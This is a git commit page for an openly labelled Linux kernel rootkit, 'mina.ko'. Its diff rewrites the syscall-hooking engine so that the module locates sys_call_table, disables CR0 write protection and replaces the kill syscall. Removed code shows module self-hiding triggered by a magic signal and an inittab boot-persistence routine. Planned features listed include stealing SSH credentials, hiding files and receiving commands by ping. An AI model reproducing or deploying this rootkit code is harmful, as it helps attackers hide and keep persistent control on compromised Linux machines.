mina.ko.git


mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
log | files | refs | archive | README | LICENSE

commit 7b54fa68ee1915e0d0ce144f1186364dac7e5e4b
parent bb75e92798856e4f585a4a06c08da4ad368f9ca9
Author: djnn <[email protected]>
Date: Tue, 31 Dec 2024 17:30:08 +0900

feat(hooks): rewrote entire hooking engine

Diffstat:
Mrootkit/Makefile | 1+
Mrootkit/cmd.txt | 3+++
Arootkit/hooks/hooks.c | 56++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Mrootkit/hooks/kill.c | 66++++++++++++++++--------------------------------------------------
Mrootkit/includes/mina.h | 36++++++++++++++++++------------------
Mrootkit/mina.c | 184++++++++++---------------------------------------------------------------------

6 files changed, 117 insertions(+), 229 deletions(-)

diff --git a/rootkit/Makefile b/rootkit/Makefile
@@ -12,6 +12,7 @@ MINA_CLIENT_ID = meow
 # kernel vars cant define with patsubst for some fucking reason
 obj-m := mina_$(MINA_CLIENT_ID).o
 mina_$(MINA_CLIENT_ID)-objs := mina.o 		\
+							hooks/hooks.o 	\
 							hooks/kill.o
 
 
diff --git a/rootkit/cmd.txt b/rootkit/cmd.txt
@@ -1 +1,4 @@
 sudo cp -r /mnt/shared/rootkit . && sudo chown -R djnn:djnn rootkit && cd rootkit ; make clean ; make && sudo make load
+
+https://github.com/Sargastico/LKM-Kill-SysCallHook/blob/main/main.c
+
diff --git a/rootkit/hooks/hooks.c b/rootkit/hooks/hooks.c
@@ -0,0 +1,56 @@
+
+/*
+   this file contains all the necessary util function to set up, tear down,
+   modify, search for hooks, and anything of the sort.
+*/
+
+#include <linux/fs.h>
+#include <linux/init.h>
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/slab.h>
+
+#include "../includes/mina.h"
+
+static kallsyms_lookup_function_t get_kallsyms_lookup(void) {
+    kallsyms_lookup_function_t lkp = NULL;
+    struct kprobe kp = {
+        .symbol_name = "kallsyms_lookup_name",
+    };
+
+    register_kprobe(&kp);
+    lkp = (kallsyms_lookup_function_t)kp.addr;
+    unregister_kprobe(&kp);
+    return lkp;
+}
+
+uint64_t *get_syscall_table(void) {
+    kallsyms_lookup_function_t lookup = get_kallsyms_lookup();
+
+    return (!lookup) ? NULL : (uint64_t *)lookup("sys_call_table");
+}
+
+static inline void commit_cr0(uint64_t val) {
+    uint64_t __force_order = 0;
+
+    asm volatile(
+        "mov %0, %%cr0"
+        : "+r"(val), "+m"(__force_order));
+}
+
+void enable_memory_protection(uint64_t original_cr0) {
+    commit_cr0(original_cr0);
+}
+
+void disable_memory_protection(uint64_t cr0) {
+    /* cr0 & ~0x00010000 => sets write permissions to read-only memory pages :) */
+    commit_cr0(cr0 & ~0x00010000);
+}
+
+hook_t *retrieve_hook_metadata(uint8_t syscall_nb) {
+    for (uint8_t ctr = 0; ctr < (sizeof(sys_hooks) / sizeof(sys_hooks[0])); ctr++) {
+        if (sys_hooks[ctr].syscall_nb == syscall_nb)
+            return &sys_hooks[ctr];
+    }
+    return NULL;
+}
diff --git a/rootkit/hooks/kill.c b/rootkit/hooks/kill.c
@@ -1,57 +1,23 @@
 
-#include "../includes/mina.h"
-
-#define SIGNAL_TOGGLE_HIDE (1312)
-#define SIGNAL_SET_ROOT (6969)
-
-void *kill_original = NULL;
-
-/* required to show / hide the module (hidden by default) */
-int is_hidden = 1;
-struct list_head *prev_module;
-
-asmlinkage int64_t hook_syskill(const struct pt_regs *regs) {
-
-    /* FIXME(djnn): it seems this hook is actually never called...? */
-
-    if (kill_original == NULL) {
-        printk(KERN_INFO "[mina] loading kill hook using linear search");
-        kill_original = syscall_linear_search(HOOK_SYSCALL_NAME);
-    }
-
-    int sig = regs->si;
+/*
+   this file contains the hooked function for the hook syscall.
+*/
 
-    /*
-        TODO(djnn):
-         * Sending a signal 6969(to any pid) makes the given user become root,
-    */
+#include <linux/fs.h>
+#include <linux/init.h>
+#include <linux/kernel.h>
+#include <linux/kprobes.h>
+#include <linux/module.h>
+#include <linux/slab.h>
 
-    printk(KERN_INFO "[mina] signal num: %d\n", sig);
+#include "../includes/mina.h"
 
-    /* hide or unhide the module:) */
-    if (sig == SIGNAL_TOGGLE_HIDE) {
-        if (!is_hidden) {
-            printk(KERN_INFO "mina: hiding module:)\n");
-            hide_module();
-            return 0;
-        } else {
-            printk(KERN_INFO "mina: welcome back!\n");
-            readd_module();
-            return 0;
-        }
+short unsigned int hooked_kill_syscall(const struct pt_regs *regs) {
+    hook_t *metadata = retrieve_hook_metadata(__NR_kill);
+    if (!metadata) {
+        printk(KERN_INFO "[mina] oh no");
+        return -EINVAL;
     }
 
-    return make_syscall(kill_original, regs);
-}
-
-void hide_module(void) {
-    prev_module = THIS_MODULE->list.prev;
-    list_del(&THIS_MODULE->list);
-    is_hidden = 1;
-}
-
-void readd_module(void) {
-    list_add(&THIS_MODULE->list, prev_module);
-    printk(KERN_INFO "mina: welcome back!\n");
-    is_hidden = 0;
+    return metadata->original(regs);
 }
diff --git a/rootkit/includes/mina.h b/rootkit/includes/mina.h
@@ -7,26 +7,26 @@
 
 #include <linux/kprobes.h>
 
-/* located in kill.c */
-
-void hide_module(void);
-void readd_module(void);
+typedef short unsigned int (*syscall_t)(const struct pt_regs *);
+typedef struct function_hook_metadata {
+    uint8_t syscall_nb;
+    syscall_t hook;
+    syscall_t original;
+} hook_t;
 
-typedef struct mina__hook {
-    void *hookaddr;
-    char hookname[HOOKNAME_MAX_SZ];
+typedef uint64_t (*kallsyms_lookup_function_t)(const uint8_t *function_name);
 
-    /* https://www.kernel.org/doc/Documentation/kprobes.txt */
-    struct kprobe *kpb;
-} hook_t;
+// hooks/hooks.c
+uint64_t *get_syscall_table(void);
+void disable_memory_protection(uint64_t cr0);
+void enable_memory_protection(uint64_t original_cr0);
+hook_t *retrieve_hook_metadata(uint8_t syscall_nb);
 
-/* HOOKS definitions :) */
-#define HOOK_SYSCALL_NAME ("__x64_sys_kill")
-asmlinkage int64_t hook_syskill(const struct pt_regs *);
+// hooks/kill.c
+short unsigned int hooked_kill_syscall(const struct pt_regs *);
 
-// hooks utils
-void *syscall_linear_search(const char *hk_name);
-int make_syscall(void *callme, const struct pt_regs *regs);
-int __kprobe_prehandler(struct kprobe *kp, struct pt_regs *r);
+static hook_t sys_hooks[] = {
+    {.syscall_nb = __NR_kill, .hook = hooked_kill_syscall, .original = NULL},
+};
 
-#endif
+#endif /* __KERNEL_MINA_H */
diff --git a/rootkit/mina.c b/rootkit/mina.c
@@ -8,183 +8,45 @@
 
 MODULE_LICENSE("GPL");
 MODULE_AUTHOR("djnn <[email protected]>");
-MODULE_DESCRIPTION("mina LKM rootkit^-^");
+MODULE_DESCRIPTION("mina LKM rootkit");
 MODULE_VERSION("0.0.1");
 
 /*
  * mina.ko/rootkit
- * tiny LKM rootkit with kprobe hooking written by djnn (https://djnn.sh)
+ *
+ * tiny LKM rootkit written by djnn (https://djnn.sh)
  */
+static int __init module_start(void) {
+    uint64_t *sys_table = get_syscall_table();
+    uint64_t cr0 = read_cr0();
 
-hook_t SYS_HOOKS[] = {
-    /* used to trigger actions, prevent from killing some process, hide current rootkit */
-    {.hookaddr = hook_syskill, .hookname = HOOK_SYSCALL_NAME, .kpb = NULL},
-
-};
-
-#define NB_HOOKS (sizeof(SYS_HOOKS) / sizeof(SYS_HOOKS[0]))
-
-#define HOOKNAME_MAX_SZ 512
-
-static int __add_inittab_entry(char const *entry) {
-    int ret = 0;
-    struct file *file;
-    loff_t pos = 0;
-
-    file = filp_open("/etc/inittab", O_WRONLY | O_APPEND, 0);
-    if (IS_ERR(file)) {
-        ret = PTR_ERR(file);
-    }
-
-    ret = kernel_write(file, entry, strlen(entry), &pos);
-    if (ret < 0) {
-        filp_close(file, NULL);
-        return ret;
-    }
-
-    filp_close(file, NULL);
-    return 0;
-}
-
-void *syscall_linear_search(const char *hk_name) {
-    for (int i = 0; i < NB_HOOKS; i++) {
-        if (SYS_HOOKS[i].kpb == NULL)
-            continue;
-
-        if (!strcmp(SYS_HOOKS[i].kpb->symbol_name, hk_name))
-            return SYS_HOOKS[i].kpb->addr;
-    }
-
-    /* NOTE(djnn): what to do if the hook is not found ? */
-    printk(KERN_INFO "[MINA] could not find original for %s\n", hk_name);
-    return NULL;
-}
-
-inline int make_syscall(void *callme, const struct pt_regs *regs) {
-
-    int ret = 0;
-    asm("mov %1, %%rdi;"
-        "call *%2;"
-        "mov %%rax, %0"
-        : "=m"(ret)
-        : "r"(regs), "m"(callme)
-        : "%rdi", "%rax");
-    return ret;
-}
-
-int __kprobe_prehandler(struct kprobe *kp, struct pt_regs *r) {
+    if (!sys_table)
+        return -1;
 
-    printk(KERN_INFO "[MINA] entering prehandler (ip=%#lx => within_module ? %d)\n", r->ip, !within_module(r->ip, THIS_MODULE));
-    if (within_module(r->ip, THIS_MODULE)) {
-        return 0;
+    disable_memory_protection(cr0);
+    for (uint8_t ctr = 0; ctr < (sizeof(sys_hooks) / sizeof(sys_hooks[0])); ctr++) {
+        sys_hooks[ctr].original = (syscall_t)sys_table[sys_hooks[ctr].syscall_nb];
+        sys_table[sys_hooks[ctr].syscall_nb] = (uint64_t)sys_hooks[ctr].hook;
     }
 
-    for (int i = 0; i < NB_HOOKS; i++) {
-        if (SYS_HOOKS[i].kpb == NULL)
-            continue;
-
-        /* if IP within current module, we are already in the hook */
-        if (strcmp(kp->symbol_name, SYS_HOOKS[i].hookname) == 0) {
-            printk(KERN_INFO "[MINA] hit hook for %s => %#lx\n", SYS_HOOKS[i].kpb->symbol_name, (unsigned long)SYS_HOOKS[i].hookaddr);
-            r->ip = (unsigned long)SYS_HOOKS[i].hookaddr;
-            return 1;
-        }
-    }
+    enable_memory_protection(cr0);
+    printk(KERN_INFO "mina is cute ~\n");
     return 0;
 }
 
-static int __setup_hooks(void) {
-    hook_t *iter = NULL;
-    for (int i = 0; i < NB_HOOKS; i++) {
-        iter = &SYS_HOOKS[i];
-
-        iter->kpb = kzalloc(sizeof(struct kprobe), GFP_KERNEL);
-        if (iter->kpb == NULL) {
-            printk(KERN_WARNING "[mina] kzalloc() failed while registering kprobes");
-            goto bailout;
-        }
-
-        iter->kpb->symbol_name = kzalloc(HOOKNAME_MAX_SZ, GFP_KERNEL);
-        if (iter->kpb->symbol_name == NULL) {
-            printk(KERN_WARNING "[mina] kzalloc() failed while registering kprobe symbol_name");
-            goto bailout;
-        }
-
-        strscpy(iter->kpb->symbol_name, iter->hookname, HOOKNAME_MAX_SZ);
-        if (iter->kpb->symbol_name == NULL) {
-            printk(KERN_WARNING "[mina] strncpy() failed while registering kprobes");
-            goto bailout;
-        }
-
-        printk(KERN_INFO "[mina %d] calling register_kprobe() for %s\n", i, iter->kpb->symbol_name);
-        int kp = register_kprobe(iter->kpb);
-        printk(KERN_INFO "[mina] result => %d", kp);
-
-        if (kp != 0) {
-            printk(KERN_WARNING "[mina] register_kprobe() failed");
-            continue;
-        }
-    }
-    return 0;
-
-bailout:
-    for (int i = 0; i < NB_HOOKS; i++) {
-        iter = &SYS_HOOKS[i];
-
-        if (iter->kpb == NULL)
-            continue;
-
-        unregister_kprobe(iter->kpb);
-        if (iter->kpb->symbol_name != NULL)
-            kfree(iter->kpb->symbol_name);
-
-        kfree(iter->kpb);
-    }
-
-    return -1;
-}
+static void __exit module_end(void) {
+    uint64_t *sys_table = get_syscall_table();
+    uint64_t cr0 = read_cr0();
 
-static void __remove_hooks(void) {
-    hook_t *iter = NULL;
+    if (!sys_table)
+        return;
 
-    for (int i = 0; i < NB_HOOKS; i++) {
-        iter = &SYS_HOOKS[i];
-        unregister_kprobe(iter->kpb);
-        kfree(iter->kpb);
+    disable_memory_protection(cr0);
+    for (uint8_t ctr = 0; ctr < (sizeof(sys_hooks) / sizeof(sys_hooks[0])); ctr++) {
+        sys_table[sys_hooks[ctr].syscall_nb] = (uint64_t)sys_hooks[ctr].original;
     }
-}
 
-static int __init module_start(void) {
-    printk(KERN_INFO "mina is cute ~\n");
-
-    if (__setup_hooks() < 0)
-        return 1;
-
-    /* uncomment this if you want the rootkit to hide itself automatically.
-
-    hide_module();
-    */
-
-    /* uncomment this if you want the rootkit to automatically be there on boot.
-
-    if (__add_inittab_entry("::sysinit:/sbin/insmod /root/mina.ko\n";) != 0)
-        return 1;
-    */
-
-    /*
-       TODO(djnn):
-
-     * steal ssh credentials,
-     * Files or directories starting with the MAGIC_PREFIX become invisble,
-     * Possibility to execute commands by pinging the machine with MAGIC_PREFIX in data field
-
-*/
-
-    return 0;
-}
-
-static void __exit module_end(void) {
-    __remove_hooks();
+    enable_memory_protection(cr0);
     printk(KERN_INFO "bye-bye mina ~\n");
 }